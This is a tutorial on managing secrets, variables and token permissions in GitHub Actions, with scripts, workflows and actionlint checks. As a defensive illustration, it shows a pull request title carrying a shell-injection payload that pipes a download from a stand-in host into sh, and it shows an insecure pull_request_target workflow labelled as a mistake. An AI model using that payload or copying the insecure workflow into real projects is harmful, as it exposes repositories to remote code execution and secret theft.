Skip to main content

CI/CD and automation · Intermediate · 18 min

Manage secrets, variables and token permissions in GitHub Actions

By Padding · Updated 18 Nov 2026
Ubuntu 26.04 · actionlint 1.7.12 · GitHub Actions

You will store a token as an environment secret from standard input, keep non-secret settings in variables, give GITHUB_TOKEN read-only access by default with per-job exceptions, mask values derived from secrets, and keep secrets away from pull requests opened from forks.

On this page

A workflow usually needs three kinds of input: values that must stay private (an API token), settings that are fine to read (a URL, a user name), and the GITHUB_TOKEN that GitHub creates for every run. Each has its own home and its own risks. Put a URL in a secret and you lose the ability to read it in logs for no gain. Leave GITHUB_TOKEN with write access everywhere and one compromised dependency in one job can push code to your repository.

In this tutorial you build a small check that calls a private status API with Basic authentication:

  • the API token lives in a production environment secret, set from standard input so it never appears in your shell history;
  • the URL and user name live in configuration variables;
  • GITHUB_TOKEN is read-only for the whole workflow, and only the job that opens an issue on failure may write issues;
  • the script masks the encoded credential it builds, because GitHub's log redaction is not guaranteed once a secret is transformed or combined with other text;
  • a second workflow labels pull requests from forks without ever running their code.

actionlint checks every workflow on your laptop, including mistakes it catches in expressions. If you work on a slow or metered connection, linting locally also saves a push-and-wait round trip for each typo.

Commands run on your laptop, in your repository's folder.

Step 1 · Decide what is a secret and what is a variable

Before you store anything, sort each value by one question: would it hurt if this appeared in a public log?

  • Secrets are for values that grant access: tokens, passwords, private keys. GitHub encrypts them, hides them from the settings page once saved, and replaces them with *** in logs when it sees the exact value.
  • Variables (the vars context) are for everything else a workflow needs: URLs, regions, account names, feature switches. They show in logs as written, which makes runs easier to debug.

Then decide the scope. Each level suits a different job:

  • Repository secrets and variables are available to every workflow in the repository.
  • Environment secrets and variables are only given to a job that names the environment with environment:. Environments can also require reviewers or limit which branches may deploy, so a production credential stays behind those rules. Environments are available in public repositories on every plan, but in private or internal repositories they need GitHub Pro, Team or Enterprise. On GitHub Free with a private repository, store STATUS_API_TOKEN as a repository secret instead: leave out --env production and the gh api line that creates the environment in the next step, and remove the environment: production line from the workflow.
  • Organisation secrets are shared across repositories, with an access policy of all repositories, private repositories only, or a list you choose.

Keep one value per secret. A JSON blob holding a user name, a password and a host as one secret is harder to rotate, and GitHub's log redaction can fail on structured data: once a step parses it, the individual fields are new strings that the runner does not know to hide.

For the status check, the plan is:

  • STATUS_API_URL: variable, repository scope.
  • STATUS_API_USER: variable, repository scope.
  • STATUS_API_TOKEN: secret, production environment scope.

Check it worked

You have a list of every value your workflow needs, each marked secret or variable and repository, environment or organisation, and no secret holds more than one value.

Step 2 · Store the secret from standard input and set the variables

Go to your repository's folder (replace this path with yours) and set two shell variables for the commands that follow:

Bash
cd ~/path/to/your/repo
REPO=your-org/your-repo

A value passed with --body lands in your shell history and, while the command runs, in the process list. Instead, read the token at a hidden prompt and pipe it to gh secret set, which reads the value from standard input when there is no --body. printf is a shell builtin, so the token is never a command-line argument:

Bash
gh api --method PUT "repos/$REPO/environments/production" > /dev/null
printf 'Status API token: '; read -rs STATUS_API_TOKEN; echo
printf '%s' "$STATUS_API_TOKEN" | gh secret set STATUS_API_TOKEN --env production --repo "$REPO"
unset STATUS_API_TOKEN

The first line creates the production environment if it does not exist yet. The prompt is written as printf followed by read -rs because that form works in both bash and zsh, the default shell on macOS; zsh reads read -p as a request to read from a coprocess and fails. gh encrypts the value on your laptop before it sends it. Running gh secret set STATUS_API_TOKEN --env production --repo "$REPO" on its own also works: it prompts for the value itself.

Variables are not secret, so --body is fine. Replace both values with yours:

Bash
gh variable set STATUS_API_URL --body "https://status.example.com" --repo "$REPO"
gh variable set STATUS_API_USER --body "ci-status-check" --repo "$REPO"

For a secret that several repositories share, the same pattern works at organisation level. This makes NPM_TOKEN available to two named repositories only:

Bash
printf 'npm token: '; read -rs NPM_TOKEN; echo
printf '%s' "$NPM_TOKEN" | gh secret set NPM_TOKEN --org your-org --visibility selected --repos web,api
unset NPM_TOKEN

Check it worked

gh secret list --env production --repo "$REPO" shows STATUS_API_TOKEN and the time it was updated, never the value. gh variable list --repo "$REPO" shows both variables with their values. history | tail -n 5 shows the printf line with $STATUS_API_TOKEN, not the token itself.

Step 3 · Make GITHUB_TOKEN read-only by default

Every job gets a GITHUB_TOKEN. What it may do depends first on the repository's default, which older repositories often have set to read and write. Check yours:

Bash
gh api "repos/$REPO/actions/permissions/workflow"

If default_workflow_permissions is "write", switch it to read, and stop Actions from approving pull requests:

Bash
gh api --method PUT "repos/$REPO/actions/permissions/workflow" \
  -f default_workflow_permissions=read \
  -F can_approve_pull_request_reviews=false

If the call fails with HTTP 409, your organisation controls this setting. An organisation owner can set it for every repository with the same call on orgs/your-org/actions/permissions/workflow.

The repository default is a safety net. The workflow file is where you state exactly what each job needs, because a permissions: block in the file overrides the default and is reviewed with the code. Two rules decide the result:

  • As soon as you list any scope, every scope you did not list becomes none.
  • A job's own permissions: block replaces the workflow-level one for that job.

So the pattern is: contents: read at the top of every workflow, and a job-level block only on the job that needs more.

Check it worked

Running gh api "repos/$REPO/actions/permissions/workflow" again prints "default_workflow_permissions": "read" and "can_approve_pull_request_reviews": false.

Step 4 · Write a script that masks what it derives from the secret

The status API expects Authorization: Basic <base64 of user:token>. That encoded string is new. The runner masks STATUS_API_TOKEN and also tries a few common encodings of it, base64 among them, but here the token is base64-encoded together with the user name, so the edge characters where the two meet can still show, and nothing guarantees redaction for other transformations. Base64 decodes in one command, so a partly hidden header is still a leak.

The fix is to register the derived value as a secret with the ::add-mask:: workflow command before anything can print it. Create the script:

Bash
mkdir -p scripts
cat > scripts/ping-status-api.sh <<'SH'
#!/usr/bin/env bash
# Calls the status API's /health endpoint with Basic authentication.
# Needs STATUS_API_URL, STATUS_API_USER and STATUS_API_TOKEN in the environment.
set -euo pipefail

: "${STATUS_API_URL:?STATUS_API_URL is not set}"
: "${STATUS_API_USER:?STATUS_API_USER is not set}"
: "${STATUS_API_TOKEN:?STATUS_API_TOKEN is not set}"

auth="$(printf '%s:%s' "$STATUS_API_USER" "$STATUS_API_TOKEN" | base64 | tr -d '\n')"

# In GitHub Actions, hide the encoded credential from the log before it is used.
if [ "${GITHUB_ACTIONS:-}" = "true" ]; then
  echo "::add-mask::${auth}"
fi

# Pass the header through curl's config on stdin, not as a command-line argument.
printf 'header = "Authorization: Basic %s"\n' "$auth" \
  | curl --fail --silent --show-error --config - "${STATUS_API_URL%/}/health"
SH
bash -n scripts/ping-status-api.sh && echo "syntax ok"

Three details matter here:

  • add-mask runs before the value is used. The runner reads the ::add-mask:: line, hides it, and from then on replaces the value with ***. Anything printed earlier in the step is already in the log.
  • No set -x. Tracing prints every expanded command, including the printf that builds the header, and it would print the add-mask line before the mask applies.
  • The header goes through --config -. curl -H "Authorization: ..." would put the credential in the process list, where other processes on the runner can read it.

Masking is a safety net, not a guarantee. GitHub's own guidance says redaction is not certain once a value is transformed, so the better habit is to avoid printing derived values at all and to mask any that might slip out.

Check it worked

The command prints syntax ok. grep -n 'add-mask' scripts/ping-status-api.sh shows the mask line above the curl call, and grep -c 'set -x' scripts/ping-status-api.sh prints 0.

Step 5 · Write the workflow with per-job permissions

Create the workflow. It runs on pushes to main and on demand:

Bash
mkdir -p .github/workflows
cat > .github/workflows/status-check.yml <<'YAML'
name: Status API check

on:
  push:
    branches: [main]
  workflow_dispatch:

permissions:
  contents: read

jobs:
  ping:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@v7

      - name: Ping the status API
        env:
          STATUS_API_URL: ${{ vars.STATUS_API_URL }}
          STATUS_API_USER: ${{ vars.STATUS_API_USER }}
          STATUS_API_TOKEN: ${{ secrets.STATUS_API_TOKEN }}
        run: bash scripts/ping-status-api.sh

  report-failure:
    needs: ping
    if: failure()
    runs-on: ubuntu-latest
    permissions:
      issues: write
    steps:
      - name: Open an issue
        env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
          RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}
        run: |
          gh issue create --title "Status API check failed" --body "Run: $RUN_URL"
YAML
actionlint
echo "actionlint exit code: $?"

How the pieces fit:

  • permissions: contents: read at the top is all ping gets: enough for actions/checkout, nothing more.
  • environment: production is what makes secrets.STATUS_API_TOKEN resolve. Without it the expression is an empty string, because the secret lives in the environment, not the repository.
  • Secrets go through env:, never straight into run: as ${{ secrets.X }}. The expression form pastes the value into the script text before the shell sees it, so a value with a quote in it breaks the script.
  • report-failure has its own block, which replaces the top one: it may write issues and has no contents access at all. It runs only when ping fails.

Check it worked

actionlint prints nothing and the exit code is 0. grep -n -A1 'permissions:' .github/workflows/status-check.yml shows two blocks: contents: read at the top and issues: write under report-failure.

Step 6 · Let actionlint catch secret and permission mistakes

actionlint checks more than YAML shape. It knows which permission scopes exist, which contexts each key may use, and which event fields an outsider controls. Write a file with three common mistakes to see the messages:

Bash
cat > .github/workflows/broken.yml <<'YAML'
name: Broken on purpose

on:
  pull_request:

permissions:
  content: read

jobs:
  greet:
    runs-on: ubuntu-latest
    steps:
      - name: Only when the token is set
        if: ${{ secrets.STATUS_API_TOKEN != '' }}
        run: echo "Checking ${{ github.event.pull_request.title }}"
YAML
actionlint .github/workflows/broken.yml > broken-lint.txt 2>&1 || echo "actionlint found problems"
cat broken-lint.txt

You should see three errors:

  • unknown permission scope "content": the scope is contents. Catching the typo here saves a push and a failed run.
  • context "secrets" is not allowed here: secrets cannot be read in if:. To run a step only when a secret is set, map it into the job's env: first, for example HAS_TOKEN: ${{ secrets.STATUS_API_TOKEN != '' }}, and test env.HAS_TOKEN == 'true'.
  • "github.event.pull_request.title" is potentially untrusted: anyone who opens a pull request chooses its title. Pasted into run:, a title such as "; curl evil.example | sh; " becomes shell code. Pass it through env: and quote the variable instead.

Remove the broken file once you have read the messages:

Bash
rm .github/workflows/broken.yml broken-lint.txt
actionlint
echo "actionlint exit code: $?"

Check it worked

The broken file produced the three messages above, with line and column numbers. After you delete it, actionlint prints nothing and the exit code is 0.

Step 7 · Keep secrets away from pull requests from forks

When someone forks your public repository and opens a pull request, the pull_request event runs their version of your workflows. GitHub protects you in two ways: no secrets except GITHUB_TOKEN are passed to the run, and that token is read-only. Your tests run, and there is nothing to steal. A step that needs STATUS_API_TOKEN simply gets an empty value there, so let such steps skip when the value is empty rather than fail.

pull_request_target is different. It runs the workflow from your default branch, with your secrets and a token that can write. That is useful for jobs that act on the pull request without running its code, such as labelling it. It becomes dangerous the moment the job checks out the pull request's head and runs anything from it:

YAML
# Do not do this: fork code runs with your secrets and a write token.
on: pull_request_target
jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v7
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test

npm ci runs install scripts from the fork's package.json, and the test files are the fork's too. Either can read the token and secrets from the runner and push to your repository. Build and test pull requests with pull_request; keep pull_request_target for jobs that only read the event's data through the API.

Here is a safe use: add a needs-review label to each new pull request, forks included. There is no checkout, the token may write pull requests and nothing else, and the pull request number goes through env::

Bash
cat > .github/workflows/label-pr.yml <<'YAML'
name: Label new pull requests

on:
  pull_request_target:
    types: [opened]

permissions: {}

jobs:
  label:
    runs-on: ubuntu-latest
    permissions:
      pull-requests: write
    steps:
      - name: Add the needs-review label
        env:
          GH_TOKEN: ${{ github.token }}
          GH_REPO: ${{ github.repository }}
          PR_NUMBER: ${{ github.event.pull_request.number }}
        run: gh api --method POST "repos/$GH_REPO/issues/$PR_NUMBER/labels" -f "labels[]=needs-review"
YAML
actionlint
echo "actionlint exit code: $?"

permissions: {} sets every scope to none for the workflow, so a job added later starts with nothing. Create the label once, then commit and push both workflows and the script:

Bash
gh label create needs-review --repo "$REPO" --description "Waiting for a maintainer"
git add .github/workflows/status-check.yml .github/workflows/label-pr.yml scripts/ping-status-api.sh
git commit -m "Add status API check and pull request labelling"
git push origin main

Check it worked

actionlint exits with 0. grep -c 'checkout' .github/workflows/label-pr.yml prints 0. On GitHub, the push starts Status API check; in its log the ping step's environment shows something like STATUS_API_TOKEN: ***, and the step prints ok from the API. The next pull request you open gets the needs-review label once the Label new pull requests run finishes.

If you followed along only to learn, remove what you created: delete the two workflow files and the script with git rm, then run gh secret delete STATUS_API_TOKEN --env production --repo "$REPO", gh variable delete STATUS_API_URL --repo "$REPO" and gh variable delete STATUS_API_USER --repo "$REPO". Keep the read-only token default: it is the right setting for every repository.

Next steps

  • Pin each action to a commit SHA and audit your workflows for risky patterns: /tutorials/harden-github-actions-workflows.
  • Replace long-lived cloud keys in secrets with short-lived OIDC credentials: /tutorials/deploy-to-aws-from-github-actions-with-oidc.
  • Stop secrets reaching your repository history in the first place: /tutorials/keep-secrets-out-of-git.
  • Go back over the basics of triggers and runs: /tutorials/github-actions-first-workflow.

Need this done for you?

Padding does this work for growing companies, from the first diagnosis to a system that keeps working.

Platform Engineering

Get new tutorials

New tutorials, about twice a month.